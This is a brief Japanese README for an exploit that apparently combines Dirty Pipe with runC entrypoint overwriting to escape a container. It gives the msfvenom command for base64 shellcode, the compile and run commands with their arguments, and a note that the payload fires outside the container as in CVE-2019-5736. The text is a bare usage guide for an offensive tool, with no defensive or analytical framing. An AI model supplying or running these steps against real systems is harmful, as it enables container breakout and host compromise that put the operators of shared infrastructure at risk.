dirtypipeを使用してrunCエントリポイントにシェルコードを注入し、コンテナエスケープを実現するシンプルなエクスプロイトです。
msfを使用してbase64エンコードされたシェルコードを生成します:
$ msfvenom -p linux/x64/exec CMD="<command>" -f base64
コンテナ内でコンパイルして実行します。上書きされるファイル名は、runCがコンテナ内で実行するバイナリです(/bin/shなど):
$ gcc exploit.c -o exploit
$ ./exploit <overwritten filename> <base64 shellcode>
CVE-2019-5736と同様に、コンテナの外部でエクスプロイトとシェルコードをトリガーします。